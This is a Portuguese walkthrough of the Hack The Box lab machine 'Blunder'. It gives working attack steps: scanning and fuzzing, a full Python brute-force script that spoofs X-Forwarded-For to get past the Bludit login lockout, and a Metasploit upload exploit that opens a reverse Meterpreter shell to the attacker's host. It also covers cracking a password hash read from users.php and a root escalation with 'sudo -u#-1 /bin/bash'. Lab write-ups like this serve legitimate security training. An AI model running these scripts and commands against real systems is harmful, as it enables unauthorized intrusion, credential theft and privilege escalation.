Blunder
nmap -sV -sC -Pn -T4 -v -p- --min-rate=10000 10.10.10.191
python3 dirsearch.py -u http://10.10.10.191 -e *
wfuzz -c -w /usr/share/wordlists/wfuzz/general/big.txt --hc 404,403 -u "http://10.10.10.191/FUZZ.txt" -t 100
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.191/FUZZ.txt
Total requests: 3024
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000002755: 200 4 L 23 W 118 Ch "todo"
Total time: 76.03240
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 39.77251
gerando wordlist com palavras do site
cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191/
deixei minha wordlist criada no /root, agora pego o script em python do brute force
Crie o arquivo chamado brute.py
Para executa-lo basta rodar o python3 brute.py
Dentro do script mude o caminho da sua wordlist, no caso a minha ficou no /root/wordlists.txt
import re
import requests
#from __future__ import print_function
def open_ressources(file_path):
return [item.replace("\n", "") for item in open(file_path).readlines()]
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open_ressources('/root/wordlists.txt')
for password in wordlist:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print('[*] Trying: {p}'.format(p = password))
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('SUCCESS: Password found!')
print('Use {u}:{p} to login.'.format(u = username, p = password))
print()
break
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
Resultado do script ^
Depois disso vc vai ver que tem uma aplicação chamada Bludit CMS rodando no site dentro do #http://10.10.10.191/admin/dashboard
Você pode procurar o exploit na internet dessa aplicação #https://www.exploit-db.com/exploits/47699
msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set TARGET 0
TARGET => 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set RPORT 80
RPORT => 80
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > exploit
[-] Exploit failed: An exploitation error occurred.
[*] Exploit completed, but no session was created.
msf5 exploit(linux/http/bludit_upload_images_exec) > options
Erro encontrado ao rodar o metasploit
investigando o motivo deste erro.
Constatado erro na versão do metasploit metasploit v5.0.94-dev
a versão stable é a versão metasploit v5.0.87-dev
Essa versão no exploit do meterpreter é setado o LHOSTS automaticamente na porta 4444
msf5 exploit(linux/http/bludit_upload_images_exec) > run
[*] Started reverse TCP handler on 10.10.14.251:4444
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading tmgeRqhFfL.png...
[*] Uploading .htaccess...
[*] Executing tmgeRqhFfL.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.14.251:4444 -> 10.10.10.191:45134) at 2020-06-29 08:47:30 -0400
[+] Deleted .htaccess
meterpreter > sysinfo
Computer : blunder
OS : Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter >
meterpreter > shell
Process 4207 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty;pty.spawn('/bin/bash')"
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
Entrar no path abaixo e dar um cat no users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
temos a password e os dados do usuário hugo
podemos identificar uma hash dentro de password
#$ hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
se não identificar pelo comando hashid use um site para decriptografar md5
pode ser o https://md5decrypt.net/en/Sha1
#faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120 essa password é do user hugo
agora eu saio do usuário de permissão do apache www-data
para o usuário do Hugo
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$
Dentro da home do hugo tenho o arquivo user.txt
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd ~
cd ~
hugo@blunder:~$ ls
ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
d837bfc74affbc6e39b91e489bb9fbb8
hugo@blunder:~$
obs> auto-complete com não vai funcionar dentro do meterpreter
subindo privilegio para root
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
hugo@blunder:~$
consigo ver o secure path local
depois disso verificar a versão da bash
hugo@blunder:~$ bash -version
bash -version
GNU bash, version 5.0.3(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
hugo@blunder:~$
GNU bash, version 5.0.3
Pesquisei no google sudo (all root) /bin/bash
Ele deu um link do exploit-db
https://www.exploit-db.com/exploits/47502
existe um exploit de uma linha que posso especificar pelo id de usuário, no caso do hugo
, para conceder a ele o root ALL
uma simples linha >
hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
Password: Password120
root@blunder:/home/hugo#
root@blunder:/home/hugo# cd /root
cd /root
root@blunder:/root# ls
ls
root.txt
root@blunder:/root# cat root.txt
cat root.txt
c5a6c440602c9465a35ba11af04a0910
root@blunder:/root#
basta entrar na home do /root
e visualizar a flag